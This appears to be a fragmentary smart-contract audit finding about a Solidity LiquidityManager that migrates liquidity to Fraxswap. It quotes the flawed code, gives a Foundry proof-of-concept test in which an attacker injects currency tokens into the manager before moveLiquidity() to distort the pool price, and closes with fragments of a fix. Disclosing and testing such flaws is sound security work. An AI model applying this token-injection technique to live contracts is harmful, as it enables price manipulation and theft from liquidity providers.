uint256 currencyAmount = currencyToken.balanceOf(address(this));
uint256 liquidityAmount = (currencyAmount * 1e18) / price;
        // Determine liquidity amount to add
        uint256 currencyAmount = currencyToken.balanceOf(address(this));
        uint256 liquidityAmount = (currencyAmount * 1e18) / price;

        // Add liquidity to Fraxswap
        IFraxswapPair fraxswapPair = addLiquidityToFraxswap(liquidityAmount, currencyAmount);
    function addLiquidityToFraxswap(
        uint256 liquidityAmount,
        uint256 currencyAmount
    ) internal returns (IFraxswapPair fraxswapPair) {
        fraxswapPair = IFraxswapPair(fraxswapFactory.getPair(address(currencyToken), address(agentToken)));
        if (fraxswapPair == IFraxswapPair(address(0))) {
            // Create Fraxswap pair and add liquidity
            fraxswapPair = IFraxswapPair(fraxswapFactory.createPair(address(currencyToken), address(agentToken), fee));

            agentToken.safeTransfer(address(fraxswapPair), liquidityAmount); <--

            currencyToken.safeTransfer(address(fraxswapPair), currencyAmount);
            fraxswapPair.mint(address(this));
agentToken.safeTransfer(address(fraxswapPair), liquidityAmount);
    function test_MoveLiquidity_TokenInjection() public {
        // Set up the fork and environment.
        setUpFraxtal(12_918_968);

        // agent deployer
        address dev = address(0x1234);
        // attacker
        address attacker = 0x00160baF84b3D2014837cc12e838ea399f8b8478;

        // deal to dev a lot of currency tokens to operate
        deal(address(currencyToken), dev, 30_000_000e18);
        
        // Set target liquidity parameters in the factory.
        uint256 targetCCYLiquidity = 6_100_000e18;
        
        // Deploy a new AgentFactory. (Assume currencyToken is already set up.)
        factory = new AgentFactory(currencyToken, 0);
        factory.setAgentBytecode(type(Agent).creationCode);
        factory.setGovenerBytecode(type(TokenGovernor).creationCode);
        factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);

        // For testing migration quickly, set a low target liquidity.
        factory.setTargetCCYLiquidity(1000);
        // Set an initial price, e.g. 0.1 IQ per agent token.
        factory.setInitialPrice(0.1e18);

        // --- Deploy agent and all relevant contract ---
        
        // Simulate normal user activity to push the pool toward the target.
        vm.startPrank(dev);

        // Approve and create the agent
        currencyToken.approve(address(factory), type(uint256).max);

        // dev directly buys enough so that the target liquidity is satisfied
        agent = factory.createAgent("ExploitAgent", "EXP", "https://exploit.com", targetCCYLiquidity);
        token = agent.token();
        
        // Retrieve the LiquidityManager and the BootstrapPool.
        manager = LiquidityManager(factory.agentManager(address(agent)));
        bootstrapPool = manager.bootstrapPool();
        
        // ensure bootstrap pool is initialized
        require(address(bootstrapPool) != address(0), "BootstrapPool not initialized");
        
        vm.stopPrank();

        // --- Attacker Manipulates the LiquidityManager by Injecting Currency Tokens ---
        // Here the attacker directly transfers extra currency tokens into the LiquidityManager.

        // deal currency tokens to the attacker
        deal(address(currencyToken), attacker, 10_000_000e18);
        
        // Impersonate the attacker.
        vm.startPrank(attacker);
        uint256 extraIQTokens = currencyToken.balanceOf(attacker); // Amount chosen for demonstration.

        // transfer the currency tokens to the manager contract
        currencyToken.transfer(address(manager), extraIQTokens);
        
        // --- Migrate Liquidity ---
        // The LiquidityManager will now check that the effective IQ reserve (after subtracting phantom)
        // meets the target, and then call moveLiquidity() to migrate liquidity from the BootstrapPool.
        manager.moveLiquidity();
        
        // After migration, retrieve the Fraxswap pair created by the LiquidityManager.
        IFraxswapPair fraxswapPair = IFraxswapPair(
            manager.fraxswapFactory().getPair(address(currencyToken), address(token))
        );
        (uint112 fraxIQ, uint112 fraxAgent, ) = fraxswapPair.getReserves();
        console2.log("Fraxswap Pool IQ Reserve:", fraxIQ);
        console2.log("Fraxswap Pool Agent Token Reserve:", fraxAgent);
        
        // Compute the final price in Fraxswap.
        uint256 finalPrice = (uint256(fraxIQ) * 1e18) / uint256(fraxAgent);
        console2.log("Final Price in Fraxswap (IQ per agent token):", finalPrice);
        
        vm.stopPrank();
}
uint256 currencyAmount = _reserveCurrencyToken; 
        agentToken.safeTransfer(address(agent), agentToken.balanceOf(address(this)));
        currencyToken.safeTransfer(address(agent), currencyToken.balanceOf(address(this)));
